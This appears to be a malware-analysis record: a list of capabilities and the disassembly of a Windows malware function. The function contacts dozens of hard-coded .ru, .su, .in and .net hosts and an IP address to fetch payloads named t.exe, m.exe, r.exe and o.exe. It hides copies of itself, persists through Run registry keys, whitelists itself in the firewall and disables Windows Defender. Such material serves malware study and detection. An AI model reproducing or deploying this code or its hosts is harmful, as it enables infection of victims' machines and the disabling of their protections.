Function at 0x4028b9
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create thread
Delete file
Disable windows defender features via registry on windows
Persist via run registry key
Persist via windows service
Query environment variable
Query or enumerate registry value
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x68]
mov eax, 0x1110
call fcn.004030d0
push ebx
push esi
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401000
mov esi, str.TldrV3.0
lea edi, [ebp - 0x44]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 5
pop ecx
mov esi, str.winsvc.exe
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
push 0xd
movsw word es:[edi], word [esi]
pop ecx
mov esi, str.Microsoft_Windows_Service
lea edi, [ebp - 0x90]
lea eax, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
push eax
xor edi, edi
push edi
push edi
mov dword [ebp - 0x38], str.http:__92.63.197.106_
mov dword [ebp - 0x34], str.http:__srgsougshfouaoehfaghaed.ru_
mov dword [ebp - 0x30], str.http:__aefiabeuodbauobfaoebbfh.ru_
mov dword [ebp - 0x2c], str.http:__saeuofgaeiufiaefgiaffgi.ru_
mov dword [ebp - 0x28], str.http:__oufgaeougf9aegf9age9fga.ru_
mov dword [ebp - 0x24], str.http:__eigegaugeifgaiueidaeguf.ru_
mov dword [ebp - 0x20], str.http:__eiugfeagfigaefiuagefuga.ru_
mov dword [ebp - 0x1c], str.http:__aizgaizdgigzaigdiaegfgi.ru_
mov dword [ebp - 0x18], str.http:__srgsougshfouaoehfagdhae.su_
mov dword [ebp - 0x14], str.http:__aefiabeuodbauobfafoebbf.su_
mov dword [ebp - 0x10], str.http:__saeuofgaeiufiaefgiaffgi.su_
mov dword [ebp - 0xc], str.http:__oufgaeougf9aegf9age9fga.su_
mov dword [ebp - 8], str.http:__eigegaugeifgaiueidaeguf.su_
mov dword [ebp - 4], str.http:__eiugfeagfigaefiuagefuga.su_
mov dword [ebp], str.http:__aizgaizdgigzaigdiaegfgi.su_
mov dword [ebp + 4], str.http:__srgsougshfouaoehfagdhae.in_
mov dword [ebp + 8], str.http:__aefiabeuodbauobfafoebbf.in_
mov dword [ebp + 0xc], str.http:__saeuofgaeiufiaefgiaffgi.in_
mov dword [ebp + 0x10], str.http:__oufgaeougf9aegf9age9fga.in_
mov dword [ebp + 0x14], str.http:__eigegaugeifgaiueidaeguf.in_
mov dword [ebp + 0x18], str.http:__eiugfeagfigaefiuagefuga.in_
mov dword [ebp + 0x1c], str.http:__aizgaizdgigzaigdiaegfgi.in_
mov dword [ebp + 0x20], str.http:__srgsougshfouaoehfagdhae.net_
mov dword [ebp + 0x24], str.http:__aefiabeuodbauobfafoebbf.net_
mov dword [ebp + 0x28], str.http:__saeuofgaeiufiaefgiaffgi.net_
mov dword [ebp + 0x2c], str.http:__oufgaeougf9aegf9age9fga.net_
mov dword [ebp + 0x30], str.http:__eigegaugeifgaiueidaeguf.net_
mov dword [ebp + 0x34], str.http:__eiugfeagfigaefiuagefuga.net_
mov dword [ebp + 0x38], str.http:__aizgaizdgigzaigdiaegfgi.net_
mov dword [ebp + 0x3c], str.t.exe
mov dword [ebp + 0x40], str.m.exe
mov dword [ebp + 0x44], str.r.exe
mov dword [ebp + 0x48], str.o.exe
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402a0e
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x208
push esi
lea eax, [ebp - 0x6a8]
push edi
push eax
mov dword [ebp + 0x60], edi
mov dword [ebp + 0x58], 1
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xea0]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xaa4]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0x6a8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x6a8]
push eax
push str._ls:Zone.Identifier
lea eax, [ebp - 0xea0]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea eax, [ebp - 0xea0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ebx, [esi - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x4c], str._windir_
mov dword [ebp + 0x50], str._userprofile_
mov dword [ebp + 0x54], str._temp_
mov dword [ebp + 0x64], edi
push esi
lea eax, [ebp - 0x10a8]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x4a0]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x298]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0x10a8]
push eax
mov eax, dword [ebp + 0x64]
push dword [ebp + eax*4 + 0x4c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x10a8]
push eax
push str._lsT_805084562050264524650
lea eax, [ebp - 0x4a0]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4a0]
push eax
push str._ls_ls
lea eax, [ebp - 0x298]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x24
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402b7c
lea eax, [ebp - 0x4a0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402b4f
push edi
lea eax, [ebp - 0x4a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x6a8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x402b7c
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp + 0x64]
cmp dword [ebp + 0x64], 3
jb 0x402aa4
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x298]
push eax
push str._ls::Enabled:_s
lea eax, [ebp - 0xaa4]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
lea ecx, [ebp - 0x298]
lea eax, [ebp - 0x6a8]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402bd1
cmp dx, di
je 0x402bcd
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402bd1
add eax, 4
add ecx, 4
cmp dx, di
jne 0x402bab
xor eax, eax
jmp 0x402bd6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x402cca
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea eax, [ebp - 0x4a0]
push eax
call esi
push 7
lea eax, [ebp - 0x298]
push eax
call esi
lea eax, [ebp + 0x60]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402c58
lea eax, [ebp - 0x298]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x402c22
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x298]
push eax
push 1
push edi
lea eax, [ebp - 0x90]
push eax
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x60]
push eax
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402cb1
lea eax, [ebp - 0x298]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x402c7b
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x298]
push eax
push 1
push edi
lea eax, [ebp - 0x90]
push eax
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x298]
push eax
call fcn.004021b6
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402a07
lea eax, [ebp + 0x60]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d41
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x298]
push eax
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x402d38
lea eax, [ebp - 0xaa4]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x402d0b
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0xaa4]
push eax
push 1
push edi
lea eax, [ebp - 0x298]
push eax
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x60]
push eax
push esi
push edi
push str.SOFTWAREPoliciesMicrosoftWindows_Defender_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d8f
push edi
push edi
push edi
push edi
mov esi, str.DisableAntiSpyware
push esi
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x402d86
push 4
lea eax, [ebp + 0x58]
push eax
push 4
push edi
push esi
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x60]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call esi
push edi
push edi
push edi
push 0x401d2b
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call esi
push edi
push edi
push edi
push 0x4012ab
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call esi
mov dword [ebp + 0x64], edi
push ebx
call esi
call fcn.00402229
test al, al
je 0x402df0
push ebx
call esi
mov eax, dword [ebp + 0x64]
push dword [ebp + eax*4 - 0x38]
call fcn.00402363
pop ecx
push ebx
call esi
push edi
push edi
push edi
push 0x402048
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [ebp + 0x64]
cmp dword [ebp + 0x64], 0x1d
jb 0x402dc1
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
pop ecx
push ebx
call esi
mov dword [ebp + 0x5c], edi
push ebx
call esi
push ebx
lea eax, [ebp - 0xc98]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x5c]
push dword [ebp + eax*4 - 0x38]
lea eax, [ebp - 0xc98]
push 0x405244
push ebx
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
mov dword [ebp + 0x64], edi
push ebx
call esi
push ebx
lea eax, [ebp - 0x89c]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x64]
push dword [ebp + eax*4 + 0x3c]
lea eax, [ebp - 0xc98]
push eax
push str._s_s
lea eax, [ebp - 0x89c]
push ebx
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x20
push ebx
call esi
lea eax, [ebp - 0x89c]
push eax
call fcn.004023d7
pop ecx
test al, al
je 0x402ea0
push ebx
call esi
push edi
push edi
lea eax, [ebp - 0x89c]
push eax
push 0x4012f5
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [ebp + 0x64]
cmp dword [ebp + 0x64], 4
jb 0x402e3f
inc dword [ebp + 0x5c]
cmp dword [ebp + 0x5c], 0x1d
jb 0x402e0f
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, 0x64
imul edx, edx, 0xa
push edx
jmp 0x402e0a